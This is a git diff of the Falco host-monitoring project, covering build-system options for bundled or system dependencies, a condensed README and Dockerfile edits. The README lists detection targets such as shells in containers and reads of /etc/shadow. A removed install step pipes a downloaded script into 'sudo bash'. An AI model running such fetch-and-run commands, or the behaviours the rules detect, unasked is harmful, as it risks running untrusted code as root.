 		INSTALL_COMMAND ${CMD_MAKE} install)
+endif()
 
-set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
+#
+# libcurl
+#
+option(USE_BUNDLED_CURL "Enable building of the bundled curl" ${USE_BUNDLED_DEPS})
 
+if(NOT USE_BUNDLED_CURL)
+	find_package(CURL REQUIRED)
+	message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIR}, lib: ${CURL_LIBRARIES}")
+else()
+	set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
+	set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
+	set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
 
-set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
-set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
-set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
-message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
-message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
+	if(NOT USE_BUNDLED_OPENSSL)
+		set(CURL_SSL_OPTION "--with-ssl")
+	else()
+		set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
+                message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
+                message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
+	endif()
 
-ExternalProject_Add(curl
+	ExternalProject_Add(curl
 		DEPENDS openssl
-		URL "http://download.draios.com/dependencies/curl-7.45.0.tar.bz2"
-		URL_MD5 "62c1a352b28558f25ba6209214beadc8"
+		URL "http://download.draios.com/dependencies/curl-7.52.1.tar.bz2"
+		URL_MD5 "dd014df06ff1d12e173de86873f9f77a"
 		CONFIGURE_COMMAND ./configure ${CURL_SSL_OPTION} --disable-shared --enable-optimize --disable-curldebug --disable-rt --enable-http --disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp --without-winssl --without-darwinssl --without-polarssl --without-cyassl --without-nss --without-axtls --without-ca-path --without-ca-bundle --without-libmetalink --without-librtmp --without-winidn --without-libidn --without-nghttp2 --without-libssh2
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
-set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
-message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
-set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
-set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
-ExternalProject_Add(luajit
+#
+# LuaJIT
+#
+option(USE_BUNDLED_LUAJIT "Enable building of the bundled LuaJIT" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_LUAJIT)
+	find_path(LUAJIT_INCLUDE luajit.h PATH_SUFFIXES luajit-2.0 luajit)
+	find_library(LUAJIT_LIB NAMES luajit luajit-5.1)
+	if(LUAJIT_INCLUDE AND LUAJIT_LIB)
+		message(STATUS "Found LuaJIT: include: ${LUAJIT_INCLUDE}, lib: ${LUAJIT_LIB}")
+	else()
+		# alternatively try stock Lua
+		find_package(Lua51)
+		set(LUAJIT_LIB ${LUA_LIBRARY})
+		set(LUAJIT_INCLUDE ${LUA_INCLUDE_DIR})
+
+		if(NOT ${LUA51_FOUND})
+			message(FATAL_ERROR "Couldn't find system LuaJIT or Lua")
+		endif()
+	endif()
+else()
+	set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
+	message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
+	set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
+	set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
+	ExternalProject_Add(luajit
 		URL "http://download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
 		URL_MD5 "f14e9104be513913810cd59c8c658dc0"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
-set (LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
-ExternalProject_Add(lpeg
-                    DEPENDS luajit
-		    URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
-                    URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
-                    BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} ${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh
-                    BUILD_IN_SOURCE 1
-		    CONFIGURE_COMMAND ""
-                    INSTALL_COMMAND "")
+#
+# Lpeg
+#
+option(USE_BUNDLED_LPEG "Enable building of the bundled lpeg" ${USE_BUNDLED_DEPS})
 
+if(NOT USE_BUNDLED_LPEG)
+	find_library(LPEG_LIB NAMES lpeg.a)
+	if(LPEG_LIB)
+		message(STATUS "Found lpeg: lib: ${LPEG_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system lpeg")
+	endif()
+else()
+	set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
+	set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
+	set(LPEG_DEPENDENCIES "")
+	if(USE_BUNDLED_LUAJIT)
+		list(APPEND LPEG_DEPENDENCIES "luajit")
+	endif()
+	ExternalProject_Add(lpeg
+		DEPENDS ${LPEG_DEPENDENCIES}
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
+		URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
+		BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
+		BUILD_IN_SOURCE 1
+		CONFIGURE_COMMAND ""
+		INSTALL_COMMAND "")
+endif()
 
-set (LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
-set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
-ExternalProject_Add(libyaml
-		    URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
-                    URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
-                    BUILD_COMMAND ${CMD_MAKE}
-                    BUILD_IN_SOURCE 1
-		    CONFIGURE_COMMAND ./bootstrap && ./configure
-                    INSTALL_COMMAND "")
+#
+# Libyaml
+#
+option(USE_BUNDLED_LIBYAML "Enable building of the bundled libyaml" ${USE_BUNDLED_DEPS})
 
-set (LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
-set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
-ExternalProject_Add(lyaml
-		    URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
-                    URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
-                    BUILD_COMMAND ${CMD_MAKE}
-                    BUILD_IN_SOURCE 1
-		    CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
-                    INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/falco/lua")
+if(NOT USE_BUNDLED_LIBYAML)
+	# Note: to distinguish libyaml.a and yaml.a we specify a full
+	# file name here, so you'll have to arrange for static
+	# libraries being available.
+	find_library(LIBYAML_LIB NAMES libyaml.a)
+	if(LIBYAML_LIB)
+		message(STATUS "Found libyaml: lib: ${LIBYAML_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system libyaml")
+	endif()
+else()
+	find_path(AUTORECONF_BIN NAMES autoreconf)
+	if(AUTORECONF_BIN)
+		message(STATUS "Found autoreconf: ${AUTORECONF_BIN}")
+	else()
+		message(FATAL_ERROR "Couldn't find system autoreconf. Please install autoreconf before continuing or use system libyaml")
+	endif()
+
+	set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
+	set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
+	ExternalProject_Add(libyaml
+		URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
+		URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
+		BUILD_COMMAND ${CMD_MAKE}
+		BUILD_IN_SOURCE 1
+		CONFIGURE_COMMAND ./bootstrap && ./configure
+		INSTALL_COMMAND "")
+endif()
+
+#
+# lyaml
+#
+option(USE_BUNDLED_LYAML "Enable building of the bundled lyaml" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_LYAML)
+	# Note: to distinguish libyaml.a and yaml.a we specify a full
+	# file name here, so you'll have to arrange for static
+	# libraries being available.
+	find_library(LYAML_LIB NAMES yaml.a)
+	if(LYAML_LIB)
+		message(STATUS "Found lyaml: lib: ${LYAML_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system lyaml")
+	endif()
+else()
+	set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
+	set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
+	set(LYAML_DEPENDENCIES "")
+	if(USE_BUNDLED_LUAJIT)
+		list(APPEND LYAML_DEPENDENCIES "luajit")
+	endif()
+	if(USE_BUNDLED_LIBYAML)
+		list(APPEND LYAML_DEPENDENCIES "libyaml")
+	endif()
+	ExternalProject_Add(lyaml
+		DEPENDS ${LYAML_DEPENDENCIES}
+		URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
+                URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
+                BUILD_COMMAND ${CMD_MAKE}
+                BUILD_IN_SOURCE 1
+		CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
+                INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
+endif()
 
 install(FILES falco.yaml
-	DESTINATION "${DIR_ETC}")
+	DESTINATION "${FALCO_ETC_DIR}")
 
-add_subdirectory(${SYSDIG_DIR}/driver ${PROJECT_BINARY_DIR}/driver)
-add_subdirectory(${SYSDIG_DIR}/userspace/libscap ${PROJECT_BINARY_DIR}/userspace/libscap)
-add_subdirectory(${SYSDIG_DIR}/userspace/libsinsp ${PROJECT_BINARY_DIR}/userspace/libsinsp)
+if(CMAKE_SYSTEM_NAME MATCHES "Linux")
+	add_subdirectory("${SYSDIG_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
+endif()
+add_subdirectory("${SYSDIG_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/userspace/libscap")
+add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp")
 
-add_subdirectory(rules)
+set(FALCO_SINSP_LIBRARY sinsp)
+set(FALCO_SHARE_DIR ${CMAKE_INSTALL_PREFIX}/share/falco)
+set(FALCO_BIN_DIR ${CMAKE_INSTALL_PREFIX}/bin)
 add_subdirectory(scripts)
+add_subdirectory(userspace/engine)
 add_subdirectory(userspace/falco)
 
 
@@ -204,12 +418,12 @@ set(CPACK_GENERATOR DEB RPM TGZ)
 set(CPACK_DEBIAN_PACKAGE_MAINTAINER "Sysdig <support@sysdig.com>")
 set(CPACK_DEBIAN_PACKAGE_SECTION "utils")
 set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "http://www.sysdig.org")
-set(CPACK_DEBIAN_PACKAGE_DEPENDS "sysdig")
-set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA "${PROJECT_SOURCE_DIR}/scripts/debian/postinst;${PROJECT_SOURCE_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm")
+set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0)")
+set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA "${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm")
 
 set(CPACK_RPM_PACKAGE_LICENSE "GPLv2")
 set(CPACK_RPM_PACKAGE_URL "http://www.sysdig.org")
-set(CPACK_RPM_PACKAGE_REQUIRES "sysdig")
+set(CPACK_RPM_PACKAGE_REQUIRES "dkms, gcc, make, kernel-devel, perl")
 set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postinstall")
 set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/preuninstall")
 set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postuninstall")

README.md

@@ -1,300 +1,41 @@
 # Sysdig Falco
-### *Host Activity Monitoring using Sysdig Event Filtering*
 
-**Table of Contents**
+#### Latest release
 
-- [Overview](#overview)
-- [Rules](#rules)
-- [Configuration](#configuration)
-- [Installation](#installation)
-- [Running Falco](#running-falco)
+**v0.7.0**
+Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
 
+Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
+Master Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=master)](https://travis-ci.org/draios/falco)
 
 ## Overview
-Sysdig Falco is a behavioral activity monitor designed to secure your applications. Powered by Sysdig’s universal system level visibility, write simple and powerful rules, and then output warnings in the format you need. Continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
-
+Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
 
 #### What kind of behaviors can Falco detect?
 
-Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+
 - A shell is run inside a container
+- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
 - A server process spawns a child process of an unexpected type
-- Unexpected read of a sensitive file (like `/etc/passwd`)
+- Unexpected read of a sensitive file (like `/etc/shadow`)
 - A non-device file is written to `/dev`
 - A standard system binary (like `ls`) makes an outbound network connection
 
-#### How you use it
+#### How Falco Compares to Other Security Tools like SELinux, Auditd, etc.
 
-Falco is deployed as a long-running daemon. You can install it as a debian/rpm
-package on a regular host or container host, or you can deploy it as a
-container.
+One of the questions we often get when we talk about Sysdig Falco is “How does it compare to other tools like SELinux, AppArmor, Auditd, etc. that also have security policies?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco to other tools.
 
-Falco is configured via a rules file defining the behaviors and events to
-watch for, and a general configuration file. Rules are expressed in a
-high-level, human-readable language. We've provided a sample rule file
-`./rules/falco_rules.yaml` as a starting point - you can (and will likely
-want!) to adapt it to your environment.
 
-When developing rules, one helpful feature is Falco's ability to read trace
-files saved by sysdig. This allows you to "record" the offending behavior
-once, and replay it with Falco as many times as needed while tweaking your
-rules.
-
-Once deployed, Falco uses the Sysdig kernel module and userspace libraries to
-watch for any events matching one of the conditions defined in the rule
-file. If a matching event occurs, a notification is written to the the
-configured output(s).
-
-
-## Rules
-
-_Call for contributions: If you come up with additional rules which you'd like to see in the core repository - PR welcome!_
-
-A Falco rules file is comprised of two kinds of elements: rules and macro definitions. Macros are simply definitions that can be re-used inside rules and other macros, providing a way to factor out and name common patterns.
-
-#### Conditions
-
-The key part of a rule is the _condition_ field. A condition is simply a boolean predicate on sysdig events.
-Conditions are expressed using the Sysdig [filter syntax](http://www.sysdig.org/wiki/sysdig-user-guide/#filtering). Any Sysdig filter is a valid Falco condition (with the caveat of certain excluded system calls, discussed below). In addition, Falco expressions can contain _macro_ terms, which are not present in Sysdig syntax.
-
-Here's an example of a condition that alerts whenever a bash shell is run inside a container:
-
-`container.id != host and proc.name = bash`
-
-The first clause checks that the event happened in a container (sysdig events have a `container` field that is equal to "host" if the event happened on a regular host). The second clause checks that the process name is `bash`. Note that this condition does not even include a clause with system call! It only uses event metadata. As such, if a bash shell does start up in a container, Falco will output events for every syscall that is done by that shell.
-
-_Tip: If you're new to sysdig and unsure what fields are available, run `sysdig -l` to see the list of supported fields._
-
-#### Rules
-
-Along with a condition, each rule includes the following fields:
-
-* _rule_: a short unique name for the rule
-* _desc_: a longer description of what the rule detects
-* _output_ and _priority_: The output format specifies the message that should be output if a matching event occurs, and follows the Sysdig [output format syntax](http://www.sysdig.org/wiki/sysdig-user-guide/#output-formatting). The priority is a case-insensitive representation of severity and should be one of "emergency", "alert", "critical", "error", "warning", "notice", "informational", or "debug".
-
-A complete rule using the above condition might be:
-
-```yaml
-- condition: container.id != host and proc.name = bash
-  output: "shell in a container (%user.name %container.id %proc.name %evt.dir %evt.type %evt.args %fd.name)"
-  priority: WARNING
-```
-
-#### Macros
-As noted above, macros provide a way to define common sub-portions of rules in a reusable way. As a very simple example, if we had many rules for events happening in containers, we might to define a `in_container` macro:
-
-```yaml
-- macro: in_container
-  condition: container.id != host
-```
-
-With this macro defined, we can then rewrite the above rule's condition as `in_container and proc.name = bash`.
-
-For many more examples of rules and macros, please take a look at the accompanying [rules file](rules/falco_rules.yaml).
-
-
-#### Ignored system calls
-
-For performance reasons, some system calls are currently discarded before Falco processing. The current list is:
-`clock_getres,clock_gettime,clock_nanosleep,clock_settime,close,epoll_create,epoll_create1,epoll_ctl,epoll_pwait,epoll_wait,eventfd,fcntl,fcntl64,fstat,fstat64,fstatat64,fstatfs,fstatfs64,futex,getitimer,gettimeofday,ioprio_get,ioprio_set,llseek,lseek,lstat,lstat64,mmap,mmap2,munmap,nanosleep,poll,ppoll,pread64,preadv,procinfo,pselect6,pwrite64,pwritev,read,readv,recv,recvfrom,recvmmsg,recvmsg,sched_yield,select,send,sendfile,sendfile64,sendmmsg,sendmsg,sendto,setitimer,settimeofday,shutdown,splice,stat,stat64,statfs,statfs64,switch,tee,timer_create,timer_delete,timerfd_create,timerfd_gettime,timerfd_settime,timer_getoverrun,timer_gettime,timer_settime,wait4,write,writev`
-
-
-## Configuration
-
-General configuration is done via a separate yaml file. The
-[config file](falco.yaml) in this repo has comments describing the various
-configuration options.
-
-
-## Installation
-#### Scripted install
-
-To install Falco automatically in one step, simply run the following command as root or with sudo:
-
-`curl -s https://s3.amazonaws.com/download.draios.com/stable/install-falco | sudo bash`
-
-#### Package install
-
-##### RHEL
-
-- Trust the Draios GPG key and configure the yum repository
-```
-rpm --import https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public
-curl -s -o /etc/yum.repos.d/draios.repo http://download.draios.com/stable/rpm/draios.repo
-```
-- Install the EPEL repository
-
-Note: The following command is required only if DKMS is not available in the distribution. You can verify if DKMS is available with yum list dkms
-
-`rpm -i http://mirror.us.leaseweb.net/epel/6/i386/epel-release-6-8.noarch.rpm`
-
-- Install kernel headers
-
-Warning: The following command might not work with any kernel. Make sure to customize the name of the package properly
-
-`yum -y install kernel-devel-$(uname -r)`
-
-- Install Falco
-
-`yum -y install falco`
-
-
-To uninstall, just do `yum erase falco`.
-
-##### Debian
-
-- Trust the Draios GPG key, configure the apt repository, and update the package list
-
-```
-curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add -
-curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/stable/deb/draios.list
-apt-get update
-```
-
-- Install kernel headers
-
-Warning: The following command might not work with any kernel. Make sure to customize the name of the package properly
-
-`apt-get -y install linux-headers-$(uname -r)`
-
-- Install Falco
-
-`apt-get -y install falco`
-
-To uninstall, just do `apt-get remove falco`.
-
-
-##### Container install (general)
-
-If you have full control of your host operating system, then installing Falco using the normal installation method is the recommended best practice. This method allows full visibility into all containers on the host OS. No changes to the standard automatic/manual installation procedures are required.
-
-However, Falco can also run inside a Docker container. To guarantee a smooth deployment, the kernel headers must be installed in the host operating system, before running Falco.
-
-This can usually be done on Debian-like distributions with:
-`apt-get -y install linux-headers-$(uname -r)`
-
-Or, on RHEL-like distributions:
-`yum -y install kernel-devel-$(uname -r)`
-
-Falco can then be run with:
-
-```
-docker pull sysdig/falco
-docker run -i -t --name falco --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro sysdig/falco
-```
-
-##### Container install (CoreOS)
-
-The recommended way to run Falco on CoreOS is inside of its own Docker container using the install commands in the paragraph above. This method allows full visibility into all containers on the host OS.
-
-This method is automatically updated, includes some nice features such as automatic setup and bash completion, and is a generic approach that can be used on other distributions outside CoreOS as well.
-
-However, some users may prefer to run Falco in the CoreOS toolbox. While not the recommended method, this can be achieved by installing Falco inside the toolbox using the normal installation method, and then manually running the sysdig-probe-loader script:
-
-```
-toolbox --bind=/dev --bind=/var/run/docker.sock
-curl -s https://s3.amazonaws.com/download.draios.com/stable/install-falco | bash
-sysdig-probe-loader
-```
-
-
-
-## Running Falco
-
-Falco is intended to be run as a service. But for experimentation and designing/testing rulesets, you will likely want to run it manually from the command-line.
-
-#### Running Falco as a service (after installing package)
-
-`service falco start`
-
-#### Running Falco in a container
-
-`docker run -i -t --name falco --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro sysdig/falco`
-
-#### Running Falco manually
-
-Do `falco --help` to see the command-line options available when running manually.
-
-
-## Building and running Falco locally from source
-Building Falco requires having `cmake` and `g++` installed.
-
-
-#### Building Falco
-Clone this repo in a directory that also contains the sysdig source repo. The result should be something like:
-
-```
-22:50 vagrant@vagrant-ubuntu-trusty-64:/sysdig
-$ pwd
-/sysdig
-22:50 vagrant@vagrant-ubuntu-trusty-64:/sysdig
-$ ls -l
-total 20
-drwxr-xr-x  1 vagrant vagrant  238 Feb 21 21:44 falco
-drwxr-xr-x  1 vagrant vagrant  646 Feb 21 17:41 sysdig
-```
-
-create a build dir, then setup cmake and run make from that dir:
-
-```
-$ mkdir build
-$ cd build
-$ cmake ..
-$ make
-```
-
-as a result, you should have a falco executable in `build/userspace/falco/falco`.
-
-#### Load latest sysdig kernel module
-
-If you have a binary version of sysdig installed, an older sysdig kernel module may already be loaded. To ensure you are using the latest version, you should unload any existing sysdig kernel module and load the locally built version.
-
-Unload any existing kernel module via:
-
-`$ rmmod sysdig_probe`
-
-To load the locally built version, assuming you are in the `build` dir, use:
-
-`$ insmod driver/sysdig-probe.ko`
-
-#### Running Falco
-
-Assuming you are in the `build` dir, you can run Falco as:
-
-`$ sudo ./userspace/falco/falco -c ../falco.yaml -r ../rules/falco_rules.yaml`
-
-Or instead you can try using some of the simpler rules files in `rules`. Or to get started, try creating a file with this:
-
-Create a file with some [Falco rules](Rule-syntax-and-design). For example:
-```
-- macro: open_write
-  condition: >
-    (evt.type=open or evt.type=openat) and
-    fd.typechar='f' and
-    (evt.arg.flags contains O_WRONLY or
-    evt.arg.flags contains O_RDWR or
-    evt.arg.flags contains O_CREAT or
-    evt.arg.flags contains O_TRUNC)
-
-- macro: bin_dir
-  condition: fd.directory in (/bin, /sbin, /usr/bin, /usr/sbin)
-
-- rule: write_binary_dir
-  desc: an attempt to write to any file below a set of binary directories
-  condition: evt.dir = > and open_write and bin_dir
-  output: "File below a known binary directory opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
-  priority: WARNING
-
-```
-
-And you will see an output event for any interactive process that touches a file with "sysdig" or ".txt" in its name!
+Documentation
+---
+[Visit the wiki](https://github.com/draios/falco/wiki) for full documentation on falco.
 
 Join the Community
 ---
-* Contact the [official mailing list] (https://groups.google.com/forum/#!forum/falco) for support and to talk with other users.
-* Follow us on [Twitter] (https://twitter.com/sysdig) for general falco and sysdig news.
-* This is our [blog] (https://sysdig.com/blog/), where you can find the latest [falco](https://sysdig.com/blog/tag/falco/) posts.
+* Contact the [official mailing list](https://groups.google.com/forum/#!forum/falco) for support and to talk with other users.
+* Follow us on [Twitter](https://twitter.com/sysdig) for general falco and sysdig news.
+* This is our [blog](https://sysdig.com/blog/), where you can find the latest [falco](https://sysdig.com/blog/tag/falco/) posts.
 * Join our [Public Slack](https://sysdig.slack.com) channel for sysdig and falco announcements and discussions.
 
 License Terms
@@ -303,28 +44,32 @@ Falco is licensed to you under the [GPL 2.0](./COPYING) open source license.
 
 Contributor License Agreements
 ---
-###Background
+### Background
  As we did for sysdig, we are formalizing the way that we accept contributions of code from the contributing community. We must now ask that contributions to falco be provided subject to the terms and conditions of a [Contributor License Agreement (CLA)](./cla). The CLA comes in two forms, applicable to contributions by individuals, or by legal entities such as corporations and their employees. We recognize that entering into a CLA with us involves real consideration on your part, and we’ve tried to make this process as clear and simple as possible.
 
  We’ve modeled our CLA off of industry standards, such as [the CLA used by Kubernetes](https://github.com/kubernetes/kubernetes/blob/master/CONTRIBUTING.md). Note that this agreement is not a transfer of copyright ownership, this simply is a license agreement for contributions, intended to clarify the intellectual property license granted with contributions from any person or entity. It is for your protection as a contributor as well as the protection of falco; it does not change your rights to use your own contributions for any other purpose.
 
  For some background on why contributor license agreements are necessary, you can read FAQs from many other open source projects:
- - [Django’s excellent CLA FAQ](https://www.djangoproject.com/foundation/cla/faq/)
- - [A well-written chapter from Karl Fogel’s Producing Open Source Software on CLAs](http://producingoss.com/en/copyright-assignment.html)
- - [The Wikipedia article on CLAs](http://en.wikipedia.org/wiki/Contributor_license_agreement)
 
- As always, we are grateful for your past and present contributions to falco.
+- [Django’s excellent CLA FAQ](https://www.djangoproject.com/foundation/cla/faq/)
+- [A well-written chapter from Karl Fogel’s Producing Open Source Software on CLAs](http://producingoss.com/en/copyright-assignment.html)
+- [The Wikipedia article on CLAs](http://en.wikipedia.org/wiki/Contributor_license_agreement)
 
- ###What do I need to do in order to contribute code?
- **Individual contributions**: Individuals who wish to make contributions must review the [Individual Contributor License Agreement](./cla/falco_contributor_agreement.txt) and indicate agreement by adding the following line to every GIT commit message:
+As always, we are grateful for your past and present contributions to falco.
 
-  falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+### What do I need to do in order to contribute code?
 
-  Use your real name; pseudonyms or anonymous contributions are not allowed.
+**Individual contributions**: Individuals who wish to make contributions must review the [Individual Contributor License Agreement](./cla/falco_contributor_agreement.txt) and indicate agreement by adding the following line to every GIT commit message:
 
-  **Corporate contributions**: Employees of corporations, members of LLCs or LLPs, or others acting on behalf of a contributing entity, must review the [Corporate Contributor License Agreement](./cla/falco_corp_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
+falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
 
-   falco-CLA-1.0-contributing-entity: Full Legal Name of Entity
-   falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+Use your real name; pseudonyms or anonymous contributions are not allowed.
 
-   Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.
+**Corporate contributions**: Employees of corporations, members of LLCs or LLPs, or others acting on behalf of a contributing entity, must review the [Corporate Contributor License Agreement](./cla/falco_corp_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
+
+```
+ falco-CLA-1.0-contributing-entity: Full Legal Name of Entity
+ falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+```
+
+Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.

docker/dev/Dockerfile

@@ -14,18 +14,22 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN apt-get update \
+RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
+ && apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
+	jq \
+	gnupg2 \
 	ca-certificates \
 	gcc \
+	gcc-5 \
 	gcc-4.9 && rm -rf /var/lib/apt/lists/*
 
-# Terribly terrible hacks: since our base Debian image ships with GCC 5.0 which breaks older kernels,
-# revert the default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
